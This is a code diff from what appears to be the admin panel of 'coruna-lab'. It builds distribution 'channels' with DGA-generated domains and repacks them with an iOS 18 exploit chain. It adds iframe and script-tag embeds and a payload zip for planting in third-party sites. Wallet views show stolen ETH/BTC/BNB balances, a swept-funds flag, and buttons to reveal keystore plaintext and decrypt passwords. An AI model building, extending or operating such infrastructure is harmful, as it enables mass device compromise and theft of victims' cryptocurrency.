| 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel/<ver>/`;共享模板 `public/details/` | | 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel/<ver>/`;共享模板 `public/details/` |
新版用环境变量 `XXBB_CHANNEL_C`**(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。 新版用环境变量 `XXBB_CHANNEL_C`**(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。旧版用 `CORUNA_CHANNEL_SEED`**(32-hex)** 作为全站共享 DGA seed(deployment === reporting)。
## 架构 ## 架构
@@ -278,6 +278,7 @@ cd /www/wwwroot/coruna-lab/channel-builder-new
- 7zAES 密码槽固定,**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值 - 7zAES 密码槽固定,**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值
- 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`(读 env 中的 c);新建渠道时也会自动 rebuild - 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`(读 env 中的 c);新建渠道时也会自动 rebuild
- 已有新版渠道要吃上新插件 / iOS 18 利用链:`php artisan xxbb:repack`(可先 `--dry-run`;也可指定 `0.0.01`)。渠道 ID、`XXBB_CHANNEL_C`、投放域名不变,只覆盖 `public/channel/{id}/` - 已有新版渠道要吃上新插件 / iOS 18 利用链:`php artisan xxbb:repack`(可先 `--dry-run`;也可指定 `0.0.01`)。渠道 ID、`XXBB_CHANNEL_C`、投放域名不变,只覆盖 `public/channel/{id}/`
- 已有旧版渠道要吃上 support.html 路由 / `index.js`:`php artisan coruna:repack`(可先 `--dry-run`;也可指定 32-hex)。渠道 ID 不变,DGA seed 取自 `CORUNA_CHANNEL_SEED`,只覆盖 `public/web/{id}/`
--- ---
@@ -386,6 +387,9 @@ CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# 新版 xxbb 共享 DGA / 上报字段 c(32 hex)。必填才能后台创建「新版」渠道。 # 新版 xxbb 共享 DGA / 上报字段 c(32 hex)。必填才能后台创建「新版」渠道。
# 首次:php artisan xxbb:build --random-c → 把打印的值写到这里 → config:clear # 首次:php artisan xxbb:build --random-c → 把打印的值写到这里 → config:clear
XXBB_CHANNEL_C= XXBB_CHANNEL_C=
# 旧版 channel-builder 共享 DGA seed(32 hex)。必填才能后台创建 / coruna:repack 旧版渠道。
# 已有环境:从 storage/app/channel-builder/lab_seeds.json 的 deployment_seed 抄过来。
CORUNA_CHANNEL_SEED=
# iptj PageVisit 与新版设备按 IP 关联窗口(分钟) # iptj PageVisit 与新版设备按 IP 关联窗口(分钟)
XXBB_VISIT_MATCH_MINUTES=30 XXBB_VISIT_MATCH_MINUTES=30
@@ -434,7 +438,7 @@ ls -la /www/wwwroot/coruna-lab/public/details
ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile
``` ```
未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。 未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。未配置 `CORUNA_CHANNEL_SEED` 时,后台创建 / `coruna:repack` 旧版渠道会直接报错。
### 2.6 抗压(Redis / 队列 / PHP-FPM) ### 2.6 抗压(Redis / 队列 / PHP-FPM)
@@ -706,6 +710,10 @@ sudo -u www /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'imp
按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。 按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。
### 后台新建「旧版」渠道失败:`请先在 .env 配置 CORUNA_CHANNEL_SEED`
把现网 `storage/app/channel-builder/lab_seeds.json` 里的 `deployment_seed` 写入 `.env` 的 `CORUNA_CHANNEL_SEED`,再 `config:clear`。新环境可生成一份 32-hex 后写入(改 seed 会换 DGA 域名)。
### `is_file(): open_basedir restriction` … `channel-builder-new/.venv/bin/python` ### `is_file(): open_basedir restriction` … `channel-builder-new/.venv/bin/python`
`.venv/bin/python` 一般是指向 `/usr/bin/python3*` 的软链。PHP `is_file()` 会解析真实路径,而宝塔 `open_basedir` 通常只有项目根 + `/tmp`,于是报错。 `.venv/bin/python` 一般是指向 `/usr/bin/python3*` 的软链。PHP `is_file()` 会解析真实路径,而宝塔 `open_basedir` 通常只有项目根 + `/tmp`,于是报错。
+7 -1
View File
@@ -14,6 +14,12 @@
} }
} }
if (!channelId) return; if (!channelId) return;
var statOrigin = '';
try {
if (typeof window.__CORUNA_STAT_ORIGIN__ === 'string') {
statOrigin = window.__CORUNA_STAT_ORIGIN__.replace(/\/$/, '');
}
} catch (eOrigin) {}
var KEY = 'c_uid'; var KEY = 'c_uid';
var uid = null; var uid = null;
try { try {
@@ -43,7 +49,7 @@
} catch (e) {} } catch (e) {}
if (referer.length > 512) referer = referer.slice(0, 512); if (referer.length > 512) referer = referer.slice(0, 512);
var q = var q =
location.origin + (statOrigin || location.origin) +
'/statistic/t?c=' + '/statistic/t?c=' +
encodeURIComponent(channelId) + encodeURIComponent(channelId) +
'&u=' + '&u=' +
+50 -7
View File
@@ -134,19 +134,47 @@ layui.use(['table', 'form', 'layer'], function () {
if (!links.length) { if (!links.length) {
return layer.msg('未生成投放链接(请配置 CORUNA_LAB_CHANNEL_DOMAINS 或系统设置→投放域名)'); return layer.msg('未生成投放链接(请配置 CORUNA_LAB_CHANNEL_DOMAINS 或系统设置→投放域名)');
} }
var html = '<div style="padding:16px;">'; var firstLink = links[0];
var scriptTag = row.embed_script || '<script src="./index.js"><\/script>';
var html = '<div style="padding:16px 18px 20px;font-size:13px;line-height:1.6;">';
links.forEach(function (u, i) { links.forEach(function (u, i) {
html += '<div style="display:flex;gap:8px;align-items:center;margin-bottom:10px;">' + html += '<div style="display:flex;gap:8px;align-items:center;margin-bottom:10px;">' +
'<input class="layui-input" readonly id="LAY-ch-link-' + i + '" value="' + u.replace(/"/g, '&quot;') + '" style="flex:1;">' + '<input class="layui-input" readonly id="LAY-ch-link-' + i + '" value="' + u.replace(/"/g, '&quot;') + '" style="flex:1;">' +
'<button type="button" class="layui-btn layui-btn-sm LAY-ch-copy" data-url="' + u.replace(/"/g, '&quot;') + '">复制链接</button>' + '<button type="button" class="layui-btn layui-btn-sm LAY-ch-copy" data-url="' + u.replace(/"/g, '&quot;') + '">复制链接</button>' +
'<button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-promo" data-url="' + u.replace(/"/g, '&quot;') + '">复制推广代码</button>' +
'</div>'; '</div>';
}); });
html += '</div>';
html += '<div style="margin-top:16px;padding-top:14px;border-top:1px solid #eee;">' +
'<div style="font-size:15px;font-weight:600;margin-bottom:14px;">嵌入方式</div>';
html += '<div style="margin-bottom:18px;">' +
'<div style="font-weight:600;margin-bottom:6px;">方式 1:使用 iframe 嵌入</div>' +
'<div style="color:#666;margin-bottom:10px;">将 iframe 插入到 <code>&lt;body&gt;</code> 后</div>' +
'<button type="button" class="layui-btn layui-btn-sm layui-btn-normal LAY-ch-promo" data-url="' +
firstLink.replace(/"/g, '&quot;') + '">复制代码</button>' +
'</div>';
html += '<div>' +
'<div style="font-weight:600;margin-bottom:6px;">方式 2:下载资源包</div>' +
'<ol style="margin:0 0 12px 18px;padding:0;color:#666;">' +
'<li style="margin-bottom:6px;">将 <code>' + String(scriptTag).replace(/</g, '&lt;') +
'</code> 插入到 <code>&lt;head&gt;</code> 中' +
' <button type="button" class="layui-btn layui-btn-xs LAY-ch-copy-script" style="margin-left:6px;">复制脚本</button></li>' +
'<li>将资源包解压后放在项目根目录</li>' +
'</ol>';
if (row.embed_zip_url) {
html += '<a class="layui-btn layui-btn-warm" href="' +
String(row.embed_zip_url).replace(/"/g, '&quot;') +
'" download>下载资源包</a>';
} else {
html += '<div style="color:#999;">当前渠道还没有可下载的浏览器资源,请先构建 / 重打。</div>';
}
html += '</div></div></div>';
layer.open({ layer.open({
type: 1, type: 1,
title: '渠道链接 — ' + row.channel_id, title: '渠道链接 — ' + row.channel_id,
area: ['720px', '360px'], area: ['760px', '560px'],
content: html, content: html,
success: function (layero) { success: function (layero) {
layero.find('.LAY-ch-copy').on('click', function () { layero.find('.LAY-ch-copy').on('click', function () {
@@ -155,7 +183,10 @@ layui.use(['table', 'form', 'layer'], function () {
}); });
layero.find('.LAY-ch-promo').on('click', function () { layero.find('.LAY-ch-promo').on('click', function () {
var url = $(this).data('url'); var url = $(this).data('url');
copyText(promoIframe(url)).then(function () { layer.msg('推广代码已复制'); }); copyText(promoIframe(url)).then(function () { layer.msg('iframe 代码已复制'); });
});
layero.find('.LAY-ch-copy-script').on('click', function () {
copyText(scriptTag).then(function () { layer.msg('脚本代码已复制'); });
}); });
} }
}); });
@@ -180,6 +211,18 @@ layui.use(['table', 'form', 'layer'], function () {
html += '<div style="word-break:break-all;margin-bottom:6px;"><code>' + u.replace(/</g, '&lt;') + '</code></div>'; html += '<div style="word-break:break-all;margin-bottom:6px;"><code>' + u.replace(/</g, '&lt;') + '</code></div>';
}); });
} }
if (data.embed_script || data.embed_zip_url) {
html += '<div style="margin:12px 0 6px;"><b>嵌入方式</b></div>';
html += '<div style="margin-bottom:6px;">方式 1:iframe 插入到 <code>&lt;body&gt;</code> 后</div>';
html += '<div style="margin-bottom:6px;">方式 2:将 <code>' +
String(data.embed_script || '<script src="./index.js"><\/script>').replace(/</g, '&lt;') +
'</code> 插入到 <code>&lt;head&gt;</code>,资源包解压到项目根目录</div>';
if (data.embed_zip_url) {
html += '<div style="margin-bottom:10px;"><a href="' +
String(data.embed_zip_url).replace(/"/g, '&quot;') +
'" download>下载资源包</a></div>';
}
}
if (data.domains && ((data.domains.deployment || []).length || (data.domains.reporting || []).length)) { if (data.domains && ((data.domains.deployment || []).length || (data.domains.reporting || []).length)) {
html += '<div style="margin:12px 0 6px;"><b>' + html += '<div style="margin:12px 0 6px;"><b>' +
(data.seeds_initialized ? '首次 DGA 域名(请去注册/绑源站)' : 'DGA 域名') + (data.seeds_initialized ? '首次 DGA 域名(请去注册/绑源站)' : 'DGA 域名') +
@@ -248,7 +291,7 @@ layui.use(['table', 'form', 'layer'], function () {
'<option value="blank"' + ((values.support_template || 'blank') === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' + '<option value="blank"' + ((values.support_template || 'blank') === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
'<option value="test"' + (values.support_template === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' + '<option value="test"' + (values.support_template === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
'</select>' + '</select>' +
'<div class="layui-form-mid layui-word-aux">weifile.html:test=大圆圈加载+15s 倒计时;blank=空白页。路径 /channel/X.Y.ZZ/(c 取自 XXBB_CHANNEL_C)</div></div></div>' '<div class="layui-form-mid layui-word-aux">test=加载页+15s 倒计时;blank=空白页。新版 c 取自 XXBB_CHANNEL_C,旧版 seed 取自 CORUNA_CHANNEL_SEED</div></div></div>'
: ''; : '';
layer.open({ layer.open({
@@ -262,7 +305,7 @@ layui.use(['table', 'form', 'layer'], function () {
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' + '<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' + '<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
'</div></div>' + '</div></div>' +
(creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新版/旧版均调用 builder 生成静态资源(新版→channel/ 目录,旧版→web/ 目录);App 仅创建数据库记录。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') + (creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新版/旧版均调用 builder 生成静态资源(新版→channel/ + XXBB_CHANNEL_C,旧版→web/ + CORUNA_CHANNEL_SEED);App 仅创建数据库记录。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
'</form>', '</form>',
success: function () { success: function () {
form.render(); form.render();
+9 -2
View File
@@ -641,6 +641,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
{ field: 'eth', title: 'ETH', width: 90 }, { field: 'eth', title: 'ETH', width: 90 },
{ field: 'btc', title: 'BTC', width: 100 }, { field: 'btc', title: 'BTC', width: 100 },
{ field: 'bnb', title: 'BNB', width: 90 }, { field: 'bnb', title: 'BNB', width: 90 },
{ field: 'collected', title: '归集', width: 80, templet: function (d) {
return d.collected
? '<span style="color:#16b777;font-weight:600;">是</span>'
: '否';
} },
{ field: 'monitor', title: '监听开关', width: 80, templet: function (d) { { field: 'monitor', title: '监听开关', width: 80, templet: function (d) {
return Number(d.monitor) === 1 ? '开' : '关'; return Number(d.monitor) === 1 ? '开' : '关';
} }, } },
@@ -676,10 +681,12 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
} }, } },
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } }, { field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }, { field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ title: '操作', width: 200, align: 'center', templet: function (d) { { title: '操作', width: 260, align: 'center', templet: function (d) {
var html = ''; var html = '';
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>'; if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
if (Number(d.needs_password) === 1 && d.password_decrypt_url) html += '<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>'; if (d.password_decrypt_url && (Number(d.needs_password) === 1 || d.has_web3_keystore)) {
html += '<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="decryptPassword">密码解密</a>';
}
return html || '—'; return html || '—';
} } } }
]], ]],
+4 -4
View File
@@ -11,10 +11,10 @@
<label class="layui-form-label">时间</label> <label class="layui-form-label">时间</label>
<div class="layui-input-block"> <div class="layui-input-block">
<select name="range"> <select name="range">
<option value="30d" selected>近30天</option> <option value="today" selected>今日</option>
<option value="7d">近7天</option>
<option value="yesterday">昨日</option> <option value="yesterday">昨日</option>
<option value="today">今日</option> <option value="7d">近7天</option>
<option value="30d">近30天</option>
</select> </select>
</div> </div>
</div> </div>
@@ -80,7 +80,7 @@
<script> <script>
layui.use(['table', 'form', 'layer'], function () { layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$; var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var where = { range: '30d' }; var where = { range: 'today' };
var logsUrl = @json(route($portal.'.visits.logs')); var logsUrl = @json(route($portal.'.visits.logs'));
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form); if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
+1
View File
@@ -121,6 +121,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index'); Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data'); Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId'); Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId');
Route::get('channels/{channel}/embed.zip', [ChannelController::class, 'downloadEmbed'])->name('channels.embedZip');
Route::post('channels', [ChannelController::class, 'store'])->name('channels.store'); Route::post('channels', [ChannelController::class, 'store'])->name('channels.store');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update'); Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy'); Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
+56
View File
@@ -171,6 +171,62 @@ Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-
return 0; return 0;
})->purpose('Repack existing new-builder channels with latest weifile / details / plugins'); })->purpose('Repack existing new-builder channels with latest weifile / details / plugins');
Artisan::command('coruna:repack {ids?*} {--template=blank} {--dry-run} {--ds-domain=}', function () {
$ids = array_values(array_filter(array_map('strval', (array) $this->argument('ids'))));
$template = trim((string) $this->option('template'));
$dryRun = (bool) $this->option('dry-run');
$dsDomain = rtrim(trim((string) $this->option('ds-domain')), '/');
if ($dsDomain === '') {
$dsDomain = rtrim(trim((string) config('coruna.xxbb.ds_domain', '')), '/');
}
$projects = app(ChannelProjectService::class);
try {
$resolved = $projects->resolveOldChannelIds($ids === [] ? null : $ids);
} catch (Throwable $e) {
$this->error($e->getMessage());
return 1;
}
if ($resolved === []) {
$this->warn('没有可重打的旧版渠道(builder_type=old)');
return 0;
}
$this->info(($dryRun ? '将重打' : '重打').' '.count($resolved).' 个旧版渠道(渠道 ID 不变,seed 取自 CORUNA_CHANNEL_SEED):');
if ($dsDomain !== '') {
$this->info('DS 域名: '.$dsDomain);
}
foreach ($resolved as $id) {
$this->line(' /web/'.$id.'/support.html');
}
if ($dryRun) {
return 0;
}
try {
$result = $projects->rebuildOldChannels(
$resolved,
$template !== '' ? $template : ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE,
$dsDomain,
);
} catch (Throwable $e) {
$this->error($e->getMessage());
return 1;
}
foreach ($result['channels'] as $row) {
$id = (string) ($row['channel_id'] ?? '');
$landing = (string) ($row['support_path'] ?? '/web/'.$id.'/support.html');
$this->info('packed '.$id.' -> '.$landing);
}
return 0;
})->purpose('Repack existing old-builder channels with latest support.html / index.js router');
Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () { Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () {
$script = base_path('channel-builder-ds/tools/build.py'); $script = base_path('channel-builder-ds/tools/build.py');
if (! is_file($script)) { if (! is_file($script)) {
+1
View File
@@ -109,6 +109,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index'); Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data'); Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
Route::get('channels/{channel}/embed.zip', [ChannelController::class, 'downloadEmbed'])->name('channels.embedZip');
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update'); Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
// Agent portal: view/edit own channel links only (no create/delete). // Agent portal: view/edit own channel links only (no create/delete).
}); });
+4 -3
View File
@@ -1,5 +1,6 @@
* *
!private/
!public/
!app-templates/
!.gitignore !.gitignore
!app-templates/
!app-templates/.gitkeep
!app-templates/*.ipa
!app-templates/*.dylib
Binary file not shown.
Binary file not shown.
+96
View File
@@ -0,0 +1,96 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Services\ChannelEmbedZipService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
use ZipArchive;
class ChannelEmbedZipTest extends TestCase
{
use RefreshDatabase;
private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
protected function setUp(): void
{
parent::setUp();
config([
'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'),
'coruna.channel_domains' => ['cdn.example.com'],
'coruna.static_site.scheme' => 'https',
]);
}
#[Test]
public function admin_can_download_browser_embed_zip(): void
{
$dir = storage_path('app/channel-artifacts-test/web/'.self::CHANNEL_ID);
if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
$this->fail('unable to create embed fixture dir');
}
file_put_contents($dir.'/index.js', "/* coruna-embed-boot */\nvar STAT_ORIGIN = '';\nvar CHANNEL = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';\n");
file_put_contents($dir.'/payload.js', 'function cAsUcoxco(){}');
file_put_contents($dir.'/deadbeef.js', '1');
file_put_contents($dir.'/manifest.json', '{}');
$channel = Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_OLD,
'user_id' => 0,
'status' => 1,
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.channels.data'))
->assertOk()
->assertJsonPath('data.0.embed_script', '<script src="./index.js"></script>')
->assertJsonPath('data.0.embed_zip_url', route('admin.channels.embedZip', $channel));
$this->actingAs($admin, 'admin')
->get(route('admin.channels.embedZip', $channel))
->assertOk()
->assertDownload('channel-embed-'.self::CHANNEL_ID.'.zip');
$tmp = app(ChannelEmbedZipService::class)->build($channel);
$this->assertFileExists($tmp);
$zip = new ZipArchive();
$this->assertTrue($zip->open($tmp) === true);
$this->assertNotFalse($zip->locateName('index.js'));
$this->assertNotFalse($zip->locateName('payload.js'));
$this->assertNotFalse($zip->locateName('deadbeef.js'));
$this->assertFalse($zip->locateName('manifest.json'));
$boot = $zip->getFromName('index.js');
$this->assertStringContainsString('https://cdn.example.com', (string) $boot);
$this->assertStringNotContainsString('c2.example.com', (string) $boot);
$this->assertStringContainsString('<script src="./index.js"></script>', (string) $zip->getFromName('README.txt'));
$zip->close();
@unlink($tmp);
}
#[Test]
public function zip_service_lists_only_browser_files(): void
{
$dir = storage_path('app/channel-artifacts-test/channel/3.1.07/weifile');
if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
$this->fail('unable to create weifile fixture dir');
}
file_put_contents($dir.'/index.js', '/* coruna-embed-boot */');
file_put_contents($dir.'/payload.js', 'payload');
file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>');
$channel = new Channel([
'channel_id' => '3.1.07',
'builder_type' => Channel::BUILDER_NEW,
]);
$files = app(ChannelEmbedZipService::class)->listFiles($channel);
$this->assertSame(['index.js', 'payload.js', 'weifile.html'], $files);
}
}
+99 -23
View File
@@ -29,6 +29,7 @@ class ChannelProjectServiceTest extends TestCase
'coruna.channel_builder.python' => 'python3', 'coruna.channel_builder.python' => 'python3',
'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'), 'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'),
'coruna.channel_builder.timeout' => 30, 'coruna.channel_builder.timeout' => 30,
'coruna.channel_builder.seed' => '11111111111111111111111111111111',
'coruna.channel_builder_new.python' => 'python3', 'coruna.channel_builder_new.python' => 'python3',
'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'), 'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'),
'coruna.channel_domains' => ['fallback.test'], 'coruna.channel_domains' => ['fallback.test'],
@@ -102,12 +103,15 @@ class ChannelProjectServiceTest extends TestCase
return str_contains($joined, 'new_project.py') return str_contains($joined, 'new_project.py')
&& str_contains($joined, self::CHANNEL_ID) && str_contains($joined, self::CHANNEL_ID)
&& str_contains($joined, '--support-template') && str_contains($joined, '--support-template')
&& str_contains($joined, 'blank'); && str_contains($joined, 'blank')
&& str_contains($joined, '--deployment-seed')
&& str_contains($joined, '11111111111111111111111111111111')
&& str_contains($joined, '--reporting-seed');
}); });
} }
#[Test] #[Test]
public function it_forwards_optional_seeds_to_builder(): void public function it_forwards_env_seed_and_ignores_request_seeds(): void
{ {
Process::fake([ Process::fake([
'*' => Process::result(output: $this->fakeBuildResult(['seeds_initialized' => false, 'sync_rebuilt' => false])), '*' => Process::result(output: $this->fakeBuildResult(['seeds_initialized' => false, 'sync_rebuilt' => false])),
@@ -116,41 +120,30 @@ class ChannelProjectServiceTest extends TestCase
app(ChannelProjectService::class)->generate( app(ChannelProjectService::class)->generate(
self::CHANNEL_ID, self::CHANNEL_ID,
'test', 'test',
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'cccccccccccccccccccccccccccccccc',
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'dddddddddddddddddddddddddddddddd',
); );
Process::assertRan(function ($process) { Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, '--deployment-seed') return str_contains($joined, '--deployment-seed')
&& str_contains($joined, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') && str_contains($joined, '11111111111111111111111111111111')
&& str_contains($joined, '--reporting-seed') && str_contains($joined, '--reporting-seed')
&& substr_count($joined, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') >= 2; && ! str_contains($joined, 'cccccccccccccccccccccccccccccccc')
&& ! str_contains($joined, 'dddddddddddddddddddddddddddddddd');
}); });
} }
#[Test] #[Test]
public function it_rejects_partial_seed_pair(): void public function old_builder_requires_env_seed(): void
{ {
config(['coruna.channel_builder.seed' => '']);
$this->expectException(RuntimeException::class); $this->expectException(RuntimeException::class);
$this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须同时提供'); $this->expectExceptionMessage('CORUNA_CHANNEL_SEED');
app(ChannelProjectService::class)->generate(self::CHANNEL_ID, 'test', 'only-one', null); app(ChannelProjectService::class)->generate(self::CHANNEL_ID, 'test');
}
#[Test]
public function it_rejects_mismatched_seed_pair(): void
{
$this->expectException(RuntimeException::class);
$this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须相同');
app(ChannelProjectService::class)->generate(
self::CHANNEL_ID,
'test',
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
);
} }
#[Test] #[Test]
@@ -664,6 +657,89 @@ class ChannelProjectServiceTest extends TestCase
}); });
} }
#[Test]
public function it_rebuilds_existing_old_channels_in_place(): void
{
$otherOld = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_OLD,
'user_id' => 0,
'status' => 1,
]);
Channel::query()->create([
'channel_id' => $otherOld,
'builder_type' => Channel::BUILDER_OLD,
'user_id' => 0,
'status' => 1,
]);
Channel::query()->create([
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult()),
]);
$result = app(ChannelProjectService::class)->rebuildOldChannels();
$this->assertCount(2, $result['channels']);
Process::assertRanTimes(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'new_project.py')
&& str_contains($joined, '--deployment-seed')
&& str_contains($joined, '11111111111111111111111111111111');
}, 2);
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'new_project.py') && str_contains($joined, self::CHANNEL_ID);
});
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'new_project.py') && str_contains($joined, 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb');
});
}
#[Test]
public function it_rejects_invalid_old_channel_ids_when_repacking(): void
{
$this->expectException(RuntimeException::class);
$this->expectExceptionMessage('旧版渠道 ID 必须是 32 位 hex');
app(ChannelProjectService::class)->resolveOldChannelIds(['not-a-channel']);
}
#[Test]
public function coruna_repack_dry_run_lists_old_channels(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_OLD,
'user_id' => 0,
'status' => 1,
]);
Channel::query()->create([
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
Process::fake();
$this->artisan('coruna:repack', ['--dry-run' => true])
->expectsOutputToContain('将重打 1 个旧版渠道')
->expectsOutputToContain('/web/'.self::CHANNEL_ID.'/support.html')
->assertSuccessful();
Process::assertNothingRan();
}
#[Test] #[Test]
public function version_format_required_for_new_channel_ids(): void public function version_format_required_for_new_channel_ids(): void
{ {
+6 -3
View File
@@ -12,6 +12,7 @@ use App\Models\WalletAddress;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
use App\Services\DashboardStatsService; use App\Services\DashboardStatsService;
use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
use PHPUnit\Framework\Attributes\Test; use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase; use Tests\TestCase;
@@ -163,7 +164,7 @@ class DailyReportTest extends TestCase
'channel_id' => self::CHANNEL, 'channel_id' => self::CHANNEL,
'has_wallet' => Device::WALLET_YES, 'has_wallet' => Device::WALLET_YES,
]); ]);
